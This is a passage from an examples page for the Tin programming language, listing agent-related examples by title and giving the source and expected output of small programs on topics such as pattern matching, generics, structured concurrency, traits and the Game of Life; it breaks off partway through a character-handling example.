Examples
Every file in examples/. npm test runs each one and checks its
output against the one shown here. Open any of them in the playground to change it.
The language
Agents
01-tools | Tools and agents are part of the language. | play → |
02-typed | A typed call: the type you expect decides the shape of the reply. | play → |
03-team | Agents compose with everything else in the language. | play → |
04-approval | guarded tool fn puts a human in the loop. | play → |
05-claude | The same language features, with a real model.tape | play → |
06-chat | An interactive chat with a tool, in thirty lines.tape | play → |
07-capabilities | Capabilities are checked by the compiler, before anything runs. | play → |
08-fleet | A fleet: one planner, two workers, and a person who approves the risky part.tape | play → |
09-code | Code as action: the model answers by writing a program.tape | play → |
10-try | Handling a failed agent call. | play → |
11-timestamps | 64-bit integers at the agent boundary. | play → |
12-resume | Saving and restoring an agent. | play → |
tin run examples/01-hello.tin// The smallest Tin program. Run it with: tin run examples/01-hello.tin
fn main() {
let name = "Tin"
print("Hello from {name}!")
print("2 + 2 = {2 + 2}")
} Hello from Tin!
2 + 2 = 4 tin run examples/02-fizzbuzz.tin// Functions, ranges, and `if` as an expression.
fn fizzbuzz(n: int): string {
if n % 15 == 0 { "FizzBuzz" }
else if n % 3 == 0 { "Fizz" }
else if n % 5 == 0 { "Buzz" }
else { str(n) }
}
fn main() {
for i in 1..16 {
print(fizzbuzz(i))
}
} 1
2
Fizz
4
Buzz
Fizz
7
8
Fizz
Buzz
11
Fizz
13
14
FizzBuzz tin run examples/03-shapes.tin// Sum types and exhaustive `match`.
// Remove an arm below and the compiler tells you which shape you forgot.
type Shape =
| Circle { r: float }
| Rect { w: float, h: float }
| Triangle { base: float, height: float }
fn area(s: Shape): float => match s {
Circle { r } => PI * r * r
Rect { w, h } => w * h
Triangle { base, height } => base * height / 2
}
fn describe(s: Shape): string => match s {
Circle { r } => "a circle of radius {r}"
Rect { w, h } => if w == h { "a {w} square" } else { "a {w} by {h} rectangle" }
Triangle { base, height } => "a triangle {base} wide and {height} tall"
}
fn main() {
let shapes = [
Circle { r: 1.0 },
Rect { w: 3.0, h: 4.0 },
Rect { w: 2.0, h: 2.0 },
Triangle { base: 6.0, height: 2.0 },
]
for s in shapes {
print("{describe(s)} has area {area(s).fixed(2)}")
}
let total = shapes |> map(area) |> sum
print("total: {total.fixed(2)}")
} a circle of radius 1.0 has area 3.14
a 3.0 by 4.0 rectangle has area 12.00
a 2.0 square has area 4.00
a triangle 6.0 wide and 2.0 tall has area 6.00
total: 25.14 tin run examples/04-pipelines.tin// Pipelines and methods.
// x |> f(y) means f(x, y)
// x.f(y) means f(x, y) too — use whichever reads better.
type Employee = { name: string, team: string, salary: int }
fn main() {
let staff = [
Employee { name: "Ada", team: "compilers", salary: 180 },
Employee { name: "Grace", team: "compilers", salary: 210 },
Employee { name: "Linus", team: "kernel", salary: 190 },
Employee { name: "Margaret", team: "flight", salary: 230 },
Employee { name: "Dennis", team: "kernel", salary: 170 },
]
// pipeline style
let payroll = staff |> map(e => e.salary) |> sum
print("payroll: {payroll}")
// method style
let compilers = staff.filter(e => e.team == "compilers").map(e => e.name)
print("compilers team: {compilers.join(", ")}")
// mix them
let top = staff
|> sortBy((a, b) => a.salary > b.salary)
|> map(e => "{e.name} ({e.salary})")
print("by salary: {top.slice(0, 3).join(" > ")}")
let squares = range(1, 6) |> map(n => n * n)
print(squares)
print(squares |> reduce(0, (acc, n) => acc + n))
print("any over 20? {squares.any(n => n > 20)}")
print("all even? {squares.all(n => n % 2 == 0)}")
print("first over 5: {squares.find(n => n > 5)}")
let shout = "the quick brown fox".split(" ") |> map(w => w.upper()) |> join(" ")
print(shout)
} payroll: 980
compilers team: Ada, Grace
by salary: Margaret (230) > Grace (210) > Linus (190)
[1, 4, 9, 16, 25]
55
any over 20? true
all even? false
first over 5: Some(9)
THE QUICK BROWN FOX tin run examples/05-errors.tin// No null, no exceptions. A value that may be missing is an Option<T>;
// an operation that may fail returns a Result<T, E>.
// `?` unwraps the good case or returns the bad one to the caller.
type Config = { host: string, port: int }
fn parsePort(text: string): Result<int, string> {
match parseInt(text) {
Some(n) => if n > 0 && n < 65536 { Ok(n) } else { Err("port {n} is out of range") }
None => Err("'{text}' is not a number")
}
}
fn parseConfig(line: string): Result<Config, string> {
let parts = line.split(":")
if parts.len != 2 { return Err("expected host:port, got '{line}'") }
let port = parsePort(parts[1])?
Ok(Config { host: parts[0], port })
}
fn main() {
for line in ["localhost:8080", "example.com:http", "example.com:99999", "nonsense"] {
match parseConfig(line) {
Ok(c) => print("ok {c.host} on port {c.port}")
Err(why) => print("error {why}")
}
}
// Option has the same shape, for "nothing there" rather than "went wrong"
var ages: Map<string, int> = newMap()
ages.set("ada", 36)
print(ages.get("ada"))
print(ages.get("bob"))
print(ages.get("bob").or(0))
} ok localhost on port 8080
error 'http' is not a number
error port 99999 is out of range
error expected host:port, got 'nonsense'
Some(36)
None
0 tin run examples/06-generics.tin// Generics are monomorphised: Stack<int> and Stack<string> each compile to
// their own specialised WebAssembly, with no boxing and no runtime type checks.
type Stack<T> = { items: T[] }
fn newStack<T>(): Stack<T> {
Stack { items: [] }
}
fn Stack.push<T>(s: inout Stack<T>, item: T) {
s.items.push(item)
}
fn Stack.pop<T>(s: inout Stack<T>): Option<T> {
if s.items.len == 0 { None } else { Some(s.items.pop()) }
}
type Pair<A, B> = { first: A, second: B }
fn swap<A, B>(p: Pair<A, B>): Pair<B, A> => Pair { first: p.second, second: p.first }
fn largest<T>(xs: T[]): Option<T> {
if xs.len == 0 { return None }
var best = xs[0]
for x in xs {
if x > best { best = x }
}
Some(best)
}
fn main() {
var numbers: Stack<int> = newStack()
numbers.push(1)
numbers.push(2)
numbers.push(3)
print(numbers.pop())
print(numbers.pop())
var words: Stack<string> = newStack()
words.push("tin")
print(words.pop())
print(words.pop())
let p = Pair { first: "answer", second: 42 }
print(p)
print(swap(p))
print(largest([3, 9, 4]))
print(largest([2.5, 1.5]))
print(largest(["pear", "apple", "zebra"]))
} Some(3)
Some(2)
Some("tin")
None
Pair { first: "answer", second: 42 }
Pair { first: 42, second: "answer" }
Some(9)
Some(2.5)
Some("zebra") tin run examples/07-tree.tin// A recursive sum type: an immutable binary search tree.
type Tree =
| Leaf
| Node { left: Tree, value: int, right: Tree }
fn insert(t: Tree, v: int): Tree => match t {
Leaf => Node { left: Leaf, value: v, right: Leaf }
Node { left, value, right } =>
if v < value { Node { left: insert(left, v), value, right } }
else if v > value { Node { left, value, right: insert(right, v) } }
else { t }
}
fn contains(t: Tree, v: int): bool => match t {
Leaf => false
Node { left, value, right } =>
if v == value { true } else if v < value { contains(left, v) } else { contains(right, v) }
}
fn depth(t: Tree): int => match t {
Leaf => 0
Node { left, right } => 1 + max(depth(left), depth(right))
}
fn inOrder(t: Tree, out: inout int[]) {
match t {
Leaf => {}
Node { left, value, right } => {
inOrder(left, &out)
out.push(value)
inOrder(right, &out)
}
}
}
fn main() {
var tree: Tree = Leaf
for v in [50, 30, 70, 20, 40, 60, 80, 30] {
tree = insert(tree, v)
}
var sorted: int[] = []
inOrder(tree, &sorted)
print(sorted)
print("depth: {depth(tree)}")
print("contains 60? {contains(tree, 60)}")
print("contains 65? {contains(tree, 65)}")
} [20, 30, 40, 50, 60, 70, 80]
depth: 3
contains 60? true
contains 65? false tin run examples/08-closures.tin// Functions are values. Lambdas capture the variables they use, by value.
fn adder(n: int): (int) => int => x => x + n
fn compose(f: (int) => int, g: (int) => int): (int) => int => x => g(f(x))
fn twice(f: (int) => int): (int) => int => compose(f, f)
type Button = { label: string, onClick: () => string }
fn double(x: int): int => x * 2
fn main() {
let add5 = adder(5)
print(add5(10))
// named functions are values too
let pipeline = compose(double, add5)
print(pipeline(10))
print(twice(twice(double))(1))
// closures stored in data
let user = "Ada"
let buttons = [
Button { label: "greet", onClick: () => "hello, {user}" },
Button { label: "shout", onClick: () => user.upper() + "!" },
]
for b in buttons {
print("{b.label}: {b.onClick()}")
}
// a table of operations
let ops = [adder(1), adder(10), double, x => x * x]
print(ops.map(f => f(7)))
} 15
25
16
greet: hello, Ada
shout: ADA!
[8, 17, 14, 49] tin run examples/09-concurrency.tin// The event loop, without coloured functions.
//
// There is no `async` keyword. Any function can suspend — `sleep` below does —
// and callers do not have to know. `spawn` starts a task; `await` waits for it.
fn brew(drink: string, wait: Duration): string {
print(" start {drink}")
sleep(wait)
print(" done {drink}")
"a cup of {drink}"
}
fn main() {
print("one after another:")
let t0 = now()
brew("tea", 60ms)
brew("coffee", 90ms)
let sequential = now() - t0
print("at the same time:")
let t1 = now()
let tea = spawn brew("tea", 60ms)
let coffee = spawn brew("coffee", 90ms)
let cups = [await tea, await coffee]
let concurrent = now() - t1
print(cups)
print(if concurrent < sequential { "spawning was faster" } else { "spawning was not faster?!" })
// fan out, then gather
let jobs = range(1, 6).map(n => spawn square(n))
var results: int[] = []
for job in jobs { results.push(await job) }
print(results)
}
fn square(n: int): int {
sleep(10ms * (6 - n))
n * n
} one after another:
start tea
done tea
start coffee
done coffee
at the same time:
start tea
start coffee
done tea
done coffee
["a cup of tea", "a cup of coffee"]
spawning was faster
[1, 4, 9, 16, 25] tin run examples/10-mandelbrot.tin// Floating-point number crunching, drawn in ASCII.
fn escape(cr: float, ci: float, limit: int): int {
var zr = 0.0
var zi = 0.0
var i = 0
while i < limit && zr * zr + zi * zi <= 4.0 {
let next = zr * zr - zi * zi + cr
zi = 2 * zr * zi + ci
zr = next
i += 1
}
i
}
fn main() {
let shades = " .:-=+*#%@"
let width = 64
let height = 22
for row in 0..height {
var line = ""
for col in 0..width {
let x = float(col) / float(width) * 3.2 - 2.2
let y = float(row) / float(height) * 2.4 - 1.2
let n = escape(x, y, 90)
line = line + shades.charAt(n % shades.len)
}
print(line)
}
} ............::::::::::-------------------------:::::::::::::::::
...........::::::-----------------====++@%++====----::::::::::::
..........::::----------------=======++*# .*#+====-----:::::::::
.........:::----------------=======++*#*.= -@*++====-----:::::::
........::---------------=======+***##% .%#*++++==-----:::::
.......:--------------=====+++*#=+.@#:. # * %-@%#%-#+=------:::
......:------------===++++++**#% @ #%++=------::
.....:---------==+##********#%: %*+==------:
.....----=====+++*# =+@-- @@@ @ -*==-------
.....-======++++*## + +-+ @+===------
.....=====+***#%=.-# @ @*+===------
.... :%#*+===------
.....=====+***#%=.-# @ @*+===------
.....-======++++*## + +-+ @+===------
.....----=====+++*# =+@-- @@@ @ -*==-------
.....:---------==+##********#%: %*+==------:
......:------------===++++++**#% @ #%++=------::
.......:--------------=====+++*#=+.@#:. # * %-@%#%-#+=------:::
........::---------------=======+***##% .%#*++++==-----:::::
.........:::----------------=======++*#*.= -@*++====-----:::::::
..........::::----------------=======++*# .*#+====-----:::::::::
...........::::::-----------------====++@%++====----:::::::::::: tin run examples/11-sieve.tin// Arrays and tight loops: the sieve of Eratosthenes.
fn primesBelow(limit: int): int[] {
var composite: bool[] = []
for i in 0..limit { composite.push(false) }
var primes: int[] = []
for n in 2..limit {
if composite[n] { continue }
primes.push(n)
// int is 32-bit and wraps on overflow, so only square n when it fits
if n > limit / n { continue }
var multiple = n * n
while multiple < limit {
composite[multiple] = true
multiple += n
}
}
primes
}
fn main() {
let small = primesBelow(60)
print(small)
let many = primesBelow(2000000)
print("{many.len} primes below two million")
print("the largest is {many[many.len - 1]}")
} [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59]
148933 primes below two million
the largest is 1999993 tin run examples/12-words.tin// Strings and maps: count the words in a text.
let TEXT = "the cat sat on the mat and the dog sat on the log"
type Count = { word: string, n: int }
fn main() {
var counts: Map<string, int> = newMap()
for word in TEXT.split(" ") {
counts.set(word, counts.get(word).or(0) + 1)
}
var rows: Count[] = []
for word, n in counts {
rows.push(Count { word: word, n: n })
}
let ranked = rows.sortBy((a, b) => a.n > b.n || (a.n == b.n && a.word < b.word))
for row in ranked.slice(0, 5) {
print("{row.word.padRight(5, " ")} {"#".repeat(row.n)} {row.n}")
}
print("longest word: {TEXT.split(" ").reduce("", (best, w) => if w.len > best.len { w } else { best })}")
print("title: {TEXT.slice(0, 11).upper()}")
print("mentions a dog? {TEXT.contains("dog")}")
} the #### 4
on ## 2
sat ## 2
and # 1
cat # 1
longest word: the
title: THE CAT SAT
mentions a dog? true tin run examples/13-bank.tin// Structs with methods, and errors as ordinary values.
// `fn Account.deposit(...)` declares a method: call it as account.deposit(50).
// `inout` lets a function change the caller's `var` in place; everything else
// is passed as a value and cannot be changed by the callee.
type Account = { owner: string, balance: int, history: string[] }
type BankError =
| Insufficient { needed: int, available: int }
| InvalidAmount(int)
| Frozen
fn open(owner: string): Account => Account { owner, balance: 0, history: [] }
fn Account.deposit(a: inout Account, amount: int): Result<int, BankError> {
if amount <= 0 { return Err(InvalidAmount(amount)) }
a.balance += amount
a.history.push("+{amount}")
Ok(a.balance)
}
fn Account.withdraw(a: inout Account, amount: int): Result<int, BankError> {
if amount <= 0 { return Err(InvalidAmount(amount)) }
if amount > a.balance { return Err(Insufficient { needed: amount, available: a.balance }) }
a.balance -= amount
a.history.push("-{amount}")
Ok(a.balance)
}
fn transfer(from: inout Account, to: inout Account, amount: int): Result<int, BankError> {
from.withdraw(amount)?
to.deposit(amount)?
Ok(amount)
}
fn explain(e: BankError): string => match e {
Insufficient { needed, available } => "needs {needed} but only {available} is available"
InvalidAmount(n) => "{n} is not a valid amount"
Frozen => "the account is frozen"
}
fn report(what: string, r: Result<int, BankError>) {
match r {
Ok(n) => print("{what}: ok ({n})")
Err(e) => print("{what}: refused — {explain(e)}")
}
}
fn main() {
var ada = open("Ada")
var bob = open("Bob")
report("deposit 100", ada.deposit(100))
report("withdraw 30", ada.withdraw(30))
report("withdraw 500", ada.withdraw(500))
report("deposit -5", ada.deposit(0 - 5))
report("transfer 50", transfer(&ada, &bob, 50))
report("transfer 50 again", transfer(&ada, &bob, 50))
print("{ada.owner}: {ada.balance} {ada.history}")
print("{bob.owner}: {bob.balance} {bob.history}")
} deposit 100: ok (100)
withdraw 30: ok (70)
withdraw 500: refused — needs 500 but only 70 is available
deposit -5: refused — -5 is not a valid amount
transfer 50: ok (50)
transfer 50 again: refused — needs 50 but only 20 is available
Ada: 20 ["+100", "-30", "-50"]
Bob: 50 ["+50"] tin run examples/14-life.tin// Conway's Game of Life on a small torus.
let W = 20
let H = 8
fn alive(grid: bool[], x: int, y: int): int {
let wx = (x + W) % W
let wy = (y + H) % H
if grid[wy * W + wx] { 1 } else { 0 }
}
fn step(grid: bool[]): bool[] {
var next: bool[] = []
for y in 0..H {
for x in 0..W {
var n = 0
for dy in 0..3 {
for dx in 0..3 {
if dx != 1 || dy != 1 { n += alive(grid, x + dx - 1, y + dy - 1) }
}
}
let here = grid[y * W + x]
next.push(n == 3 || (here && n == 2))
}
}
next
}
fn show(grid: bool[]) {
for y in 0..H {
var line = ""
for x in 0..W {
line = line + if grid[y * W + x] { "#" } else { "." }
}
print(line)
}
}
fn main() {
var grid: bool[] = []
for i in 0..W * H { grid.push(false) }
// a glider
for cell in [1, W + 2, 2 * W, 2 * W + 1, 2 * W + 2] { grid[cell] = true }
show(grid)
for generation in 0..8 { grid = step(grid) }
print("after 8 generations:")
show(grid)
print("{grid.count(c => c)} cells alive")
} .#..................
..#.................
###.................
....................
....................
....................
....................
....................
after 8 generations:
....................
....................
...#................
....#...............
..###...............
....................
....................
....................
5 cells alive tin run examples/15-values.tin// Arrays and structs are values, like numbers.
//
// Assigning, passing or capturing one gives you your own copy. Only a `var`
// can change in place, and a function can change the caller's variable only
// when its parameter says `inout`, and the call says `&`. So nothing changes
// behind your back.
type Robot = { name: string, joints: float[] }
/// Read-only: `r` is a value, and changing it is a compile error.
fn describe(r: Robot): string => "{r.name} with {r.joints.len} joints"
/// `inout`: changes the caller's var in place.
fn addJoint(r: inout Robot, angle: float) {
r.joints.push(angle)
}
fn main() {
var arm = Robot { name: "arm", joints: [0.0, 0.5] }
let snapshot = arm // a copy: later changes to arm don't reach it
let show = () => describe(snapshot)
addJoint(&arm, 1.25)
arm.joints[0] = 0.1
print(describe(arm)) // arm with 3 joints
print(show()) // arm with 2 joints
print(snapshot.joints[0]) // 0.0
var fleet = [arm, arm] // two independent robots
addJoint(&fleet[1], 2.0)
print("{fleet[0].joints.len} {fleet[1].joints.len}")
} arm with 3 joints
arm with 2 joints
0.0
3 4 tin run examples/16-tests.tin// Tests live next to the code they test.
//
// tin test examples/16-tests.tin runs every `test` block
// tin run examples/16-tests.tin runs main; the tests are still type-checked
//
// Each test runs in a fresh instance of the program. A test fails if it panics,
// and `assert` and `assertEq` are the usual ways to make it.
type Cart = { items: string[], total: int }
fn add(cart: inout Cart, item: string, price: int) {
cart.items.push(item)
cart.total += price
}
fn discount(total: int, percent: int): Result<int, string> {
if percent < 0 || percent > 100 { return Err("percent must be between 0 and 100") }
Ok(total - total * percent / 100)
}
/// The price of an item, in cents.
tool fn price(item: string): int => match item {
"tea" => 300
"cake" => 450
_ => 0
}
agent Clerk { model: "mock", tools: [price] }
test "a cart adds up" {
var cart = Cart { items: [], total: 0 }
add(&cart, "tea", 300)
add(&cart, "cake", 450)
assertEq(cart.total, 750)
assertEq(cart.items, ["tea", "cake"])
}
test "discounts are checked" {
assertEq(discount(1000, 25), Ok(750))
assertEq(discount(1000, 0), Ok(1000))
assert(discount(1000, 150).isErr(), "150% should be refused")
}
test "tasks finish before a test does" {
let slow = spawn discount(200, 50)
sleep(5ms)
assertEq(await slow, Ok(100))
}
test "an agent can be tested offline" {
// the mock model calls the tool the prompt names, with the quoted string
assertEq(Clerk("what is the price of 'cake'?"), "mock: 450")
assertEq(Clerk.turns(), 2)
}
fn main() {
var cart = Cart { items: [], total: 0 }
add(&cart, "tea", price("tea"))
print("{cart.items} cost {discount(cart.total, 10)}")
} ["tea"] cost Ok(270) tin run examples/17-numbers.tin// Numbers never wrap around silently.
//
// `int` is 32-bit, from -2147483648 to 2147483647. `+ - *` are checked:
// overflow is a compile error when the compiler can see it, and a panic at run
// time otherwise, never a wrong answer. Literals that don't fit are compile
// errors too: `2147483648`, `0xFFFF_FFFF`.
fn checkedSum(xs: int[]): int {
var total = 0
for x in xs { total += x }
total
}
fn main() {
let smallest = -2147483648
let largest = 0x7fff_ffff
print("{smallest} .. {largest}")
print(checkedSum([1_000_000, 2_000_000, 3_000_000]))
print(largest / 2 * 2 + 1 == largest)
// between int and float, conversions are explicit
let ratio = float(largest) / 1e9
print(ratio.fixed(3))
print(int(ratio * 100.0))
} -2147483648 .. 2147483647
6000000
true
2.147
214 tin run examples/18-rates.tin// Frequency is a unit, like Duration.
//
// `135Hz` is a Frequency and `7ms` a Duration. They turn into each other with
// `1 / x`, and a Duration times a Frequency is a plain number of cycles.
// Mixing them up is a compile error: `135Hz + 7ms`, `sleep(135Hz)`, `135Hz + 3`.
/// How a robot's control loop is scheduled.
type Loop = { name: string, rate: Frequency }
fn period(l: Loop): Duration => 1 / l.rate
fn ticksIn(l: Loop, window: Duration): int => int(floor(window * l.rate))
fn main() {
let loops = [
Loop { name: "balance", rate: 135Hz },
Loop { name: "vision", rate: 30Hz },
Loop { name: "planner", rate: 1 / 500ms },
]
for l in loops {
print("{l.name}: {l.rate}, every {period(l)}, {ticksIn(l, 2s)} ticks in 2s")
}
let fastest = loops.map(l => l.rate / 1Hz).reduce(0.0, (a, b) => max(a, b))
print("fastest: {fastest * 1Hz}")
} balance: 135Hz, every 7.407ms, 270 ticks in 2s
vision: 30Hz, every 33.333ms, 60 ticks in 2s
planner: 2Hz, every 500ms, 4 ticks in 2s
fastest: 135Hz tin run examples/19-equality.tin// == compares values, not identities: two arrays, structs or enums are equal
// when their parts are. Anything holding a function has no ==.
type Crew = | Wheels | Hands | Eyes
type Step = { crew: Crew, task: string }
fn main() {
let plan = [
Step { crew: Wheels, task: "fetch filament" },
Step { crew: Hands, task: "load the spool" },
Step { crew: Wheels, task: "return to dock" },
]
let forWheels = plan.filter(s => s.crew == Wheels)
print("{forWheels.len} steps for the rover")
let again = [Step { crew: Wheels, task: "fetch filament" }]
print(forWheels[0] == again[0])
print(plan.contains(Step { crew: Eyes, task: "inspect" }))
print(Some([1, 2]) == Some([1, 2]))
} 2 steps for the rover
true
false
true tin run examples/20-timestamps.tin// i64 is a 64-bit integer, for values that outgrow int's 32 bits: nanosecond
// timestamps, byte counts, big counters. It is checked like int: overflow
// panics, and int(x) panics if an i64 doesn't fit. Conversions are explicit.
/// One reading from a joint encoder, stamped in nanoseconds.
type Reading = { at: i64, angle: float }
fn spanMs(rs: Reading[]): int => int((rs[rs.len - 1].at - rs[0].at) / 1_000_000)
fn main() {
let start: i64 = 1_731_660_000_000_000_000
var log: Reading[] = []
for i in 0..5 {
// 135Hz is a period of 7_407_407ns
log.push(Reading { at: start + i64(i) * 7_407_407, angle: float(i) * 0.1 })
}
print("{log.len} readings over {spanMs(log)}ms")
print("last at {log[log.len - 1].at}ns")
let bytes: i64 = 6_000_000_000
print("{float(bytes) / 1e9} GB is {bytes} bytes")
} 5 readings over 29ms
last at 1731660000029629628ns
6.0 GB is 6000000000 bytes tin run examples/21-loops.tin// Three loops: `for x in xs`, `for i, x in xs` (with the index), and
// `loop { }`, which runs until a `break` or `return`.
fn main() {
let joints = ["base", "shoulder", "elbow", "wrist"]
for i, name in joints {
print("{i}: {name}")
}
// settle a value: halve the error until it is small enough
var error = 1.0
var steps = 0
loop {
error = error / 2.0
steps += 1
if error < 0.01 { break }
}
print("settled in {steps} steps")
} 0: base
1: shoulder
2: elbow
3: wrist
settled in 7 steps tin run examples/22-tuples.tin// Tuples group a few values without declaring a type: (lo, hi), ("x", 1.5).
// Read items with .0, .1, or bind them all at once with let (a, b) = ...
// (This example also shows a guarded match arm.)
fn bounds(xs: float[]): (float, float) {
var lo = xs[0]
var hi = xs[0]
for x in xs {
if x < lo { lo = x }
if x > hi { hi = x }
}
(lo, hi)
}
fn main() {
let (lo, hi) = bounds([0.4, -1.2, 2.5, 0.0])
print("joint range {lo} .. {hi}")
let limits: (string, float)[] = [("shoulder", 1.6), ("elbow", 2.1)]
for i, limit in limits {
// a match arm can carry a guard: it matches only when the condition holds
let note = match limit.1 {
r if r > 2.0 => "wide"
_ => "narrow"
}
print("{i}: {limit.0} up to {limit.1} rad ({note})")
}
} joint range -1.2 .. 2.5
0: shoulder up to 1.6 rad (narrow)
1: elbow up to 2.1 rad (wide) tin run examples/23-bits.tin// Bits, for registers and flags: & | ^ on int and i64, and x.shl(n) / x.shr(n).
// Bitwise operators bind tighter than comparisons, so `s & FAULT == FAULT` means
// what it says. Shifts are bit operations: a count outside 0..31 (or 0..63) panics.
let READY = 0x01
let MOVING = 0x02
let FAULT = 0x04
fn describe(status: int): string {
var parts: string[] = []
if status & READY == READY { parts.push("ready") }
if status & MOVING == MOVING { parts.push("moving") }
if status & FAULT == FAULT { parts.push("fault") }
parts.join(", ")
}
fn main() {
var status = READY | MOVING
print(describe(status))
status = status ^ MOVING | FAULT
print(describe(status))
let register = 0xab.shl(8) | 0xcd
print("high byte {register.shr(8) & 0xff}, low byte {register & 0xff}")
} ready, moving
ready, fault
high byte 171, low byte 205 tin run examples/24-patterns.tin// Nested patterns. Any field or value inside a pattern is itself a pattern: a variant,
// a literal, a name or _. The compiler checks that a match covers every case, however deep,
// and names the one you forgot.
//
// tin run examples/24-patterns.tin
type Reading = | Value(float) | TooLow | TooHigh | Offline { since: int }
type Cmd =
| Move { dx: int, dy: int }
| Grip(bool)
| Stop
fn describe(r: Result<Reading, string>): string => match r {
Ok(Value(v)) => "reading {v}"
Ok(TooLow) => "below range"
Ok(TooHigh) => "above range"
Ok(Offline { since: 0 }) => "never connected"
Ok(Offline { since }) => "offline since tick {since}"
Err(why) => "sensor error: {why}"
}
fn plan(c: Cmd): string => match c {
Move { dx: 0, dy: 0 } => "stay"
Move { dx: 0, dy } => "vertical {dy}"
Move { dx, dy: 0 } => "horizontal {dx}"
Move { dx, dy } => "diagonal {dx},{dy}"
Grip(true) => "close the gripper"
Grip(false) => "open the gripper"
Stop => "stop"
}
fn main() {
let readings: Result<Reading, string>[] = [Ok(Value(21.5)), Ok(TooHigh), Ok(Offline { since: 0 }), Ok(Offline { since: 42 }), Err("bus timeout")]
for r in readings { print(describe(r)) }
for c in [Move { dx: 0, dy: 0 }, Move { dx: 0, dy: 3 }, Move { dx: 2, dy: 2 }, Grip(true), Stop] { print(plan(c)) }
} reading 21.5
above range
never connected
offline since tick 42
sensor error: bus timeout
stay
vertical 3
diagonal 2,2
close the gripper
stop tin run examples/25-tasks.tin// Structured concurrency: tasks have owners, and waiting has limits.
//
// - A task cannot outlive the task that spawned it. `await t` returns only
// when t and everything t started have finished.
// - `t.stop()` stops a task and everything beneath it.
// - `within` waits a limited time: Some(result), or the task is stopped
// and the answer is None.
fn download(name: string, time: Duration): string {
sleep(time)
print(" got {name}")
name
}
/// Starts two downloads and returns straight away. Its caller still sees it
/// as unfinished until both are done.
fn mirror(site: string): string {
spawn download("{site}/index", 150ms) // far apart, so the order holds on a busy machine
spawn download("{site}/logo", 20ms)
"{site} queued"
}
fn main() {
print("ownership:")
let job = spawn mirror("tin.dev")
print(await job) // printed after both downloads
print("a time limit:")
print(spawn download("small file", 10ms) |> within(1s))
print(spawn download("huge file", 1h) |> within(30ms))
print("stopping a tree:")
let big = spawn mirror("slow.example")
big.stop() // stops mirror and both of its downloads
sleep(50ms)
print("stopped: {big.stopped()}")
} ownership:
got tin.dev/logo
got tin.dev/index
tin.dev queued
a time limit:
got small file
Some("small file")
None
stopping a tree:
stopped: true tin run examples/26-traits.tin// Traits: say what a generic function needs, and get the error at the call.
//
// A type satisfies a trait by having its methods. There is no impl block:
// the methods you already write (`fn Joint.describe`) are the implementation.
/// Something a robot can report on.
trait Part {
fn describe(p: Self): string
fn healthy(p: Self): bool
}
type Joint = { name: string, angle: float, limit: float }
type Battery = { volts: float }
fn Joint.describe(j: Joint): string => "{j.name} at {j.angle.fixed(1)} rad"
fn Joint.healthy(j: Joint): bool => abs(j.angle) <= j.limit
fn Battery.describe(b: Battery): string => "battery {b.volts.fixed(1)} V"
fn Battery.healthy(b: Battery): bool => b.volts > 11.0
/// Works for any T that has describe and healthy; compiled once per type.
fn report<T: Part>(parts: T[]): string[] {
var lines: string[] = []
for p in parts {
let mark = if p.healthy() { "ok " } else { "BAD" }
lines.push("{mark} {p.describe()}")
}
lines
}
trait Scored {
fn score(x: Self): int
}
fn int.score(n: int): int => n
fn string.score(s: string): int => s.len
/// Two bounds on two parameters.
fn heavier<A: Scored + Part, B: Scored>(a: A, b: B): bool => a.healthy() && a.score() > b.score()
fn Battery.score(b: Battery): int => int(b.volts)
fn main() {
let joints = [
Joint { name: "shoulder", angle: 0.4, limit: 1.5 },
Joint { name: "elbow", angle: 2.1, limit: 2.0 },
]
for line in report(joints) { print(line) }
for line in report([Battery { volts: 12.4 }]) { print(line) }
print(heavier(Battery { volts: 12.4 }, "eleven"))
print(heavier(Battery { volts: 12.4 }, 20))
} ok shoulder at 0.4 rad
BAD elbow at 2.1 rad
ok battery 12.4 V
true
false tin run examples/27-order.tin// The standard library's traits: Ord, Show and Eq.
//
// - Ord: write `compare` and a type gets < > <= >=, sort, min and max.
// - Show: every type prints; write `show` to choose how.
// - Eq: every comparable type has ==; write `equals` to choose what equal means.
type Version = { major: int, minor: int, patch: int }
fn Version.compare(a: Version, b: Version): int {
if a.major != b.major { return a.major - b.major }
if a.minor != b.minor { return a.minor - b.minor }
a.patch - b.patch
}
fn Version.show(v: Version): string => "v{v.major}.{v.minor}.{v.patch}"
fn parse(s: string): Option<Version> {
let parts = s.split(".")
if parts.len != 3 { return None }
Some(Version { major: parseInt(parts[0])?, minor: parseInt(parts[1])?, patch: parseInt(parts[2])? })
}
/// A sensor id is equal to another whatever its case.
type SensorId = { raw: string }
fn SensorId.equals(a: SensorId, b: SensorId): bool => a.raw.lower() == b.raw.lower()
/// Any ordered type: the bound says so, and the call checks it.
fn newest<T: Ord>(xs: T[]): Option<T> {
if xs.len == 0 { return None }
var best = xs[0]
for x in xs { best = max(best, x) }
Some(best)
}
fn main() {
var releases: Version[] = []
for s in ["1.4.2", "0.9.12", "1.10.0", "1.4.10", "bad"] {
match parse(s) {
Some(v) => releases.push(v),
None => print("skipped {s}"),
}
}
print(sort(releases))
print("newest: {newest(releases).unwrap()}")
print(newest(["pear", "apple", "zucchini"]))
print(releases[0] < releases[3])
let seen = [SensorId { raw: "IMU-1" }, SensorId { raw: "cam-2" }]
print(seen.contains(SensorId { raw: "imu-1" }))
print(SensorId { raw: "CAM-2" } == seen[1])
} skipped bad
[v0.9.12, v1.4.2, v1.4.10, v1.10.0]
newest: v1.10.0
Some("zucchini")
true
true
true tin run examples/28-chars.tin// char: one Unicode character. 'a' is a char, "a" is a string.
//
// s.chars() decodes a string into chars; positions in a string still count bytes.
/// Is this a valid robot name: a letter, then letters, digits or '-'?
fn validName(s: string): bool {
let cs = s.chars()
if cs.len == 0 || !cs[0].isLetter() { return false }
for c in cs {
if !(c.isLetter() || c.isDigit() || c == '-') { return false }
}
true
}
/// A Caesar shift on ASCII letters; everything else stays.
fn shift(s: string, by: int): string {
var out: char[] = []
for c in s.chars() {
let base = if c.isLower() { int('a') } else if c.isUpper() { int('A') } else { -1 }
out.push(if base < 0 { c } else { char(base + (int(c) - base + by) % 26) })
}
fromChars(out)
}
fn kind(c: char): string => match c {
v if ['a', 'e', 'i', 'o', 'u'].contains(v) => "vowel",
' ' => "space",
_ => if c.isDigit() { "digit" } else { "other" },
}
fn main() {
for name in ["arm-2", "2arm", "señor", "bad name"] {
print("{name}: {validName(name)}")
}
print(shift("Hello, Tin!", 3))
print(shift(shift("Hello, Tin!", 3), 23))
print("ñ€😀".chars().map((c) => int(c)))
print(kind('e'))
print(kind('7'))
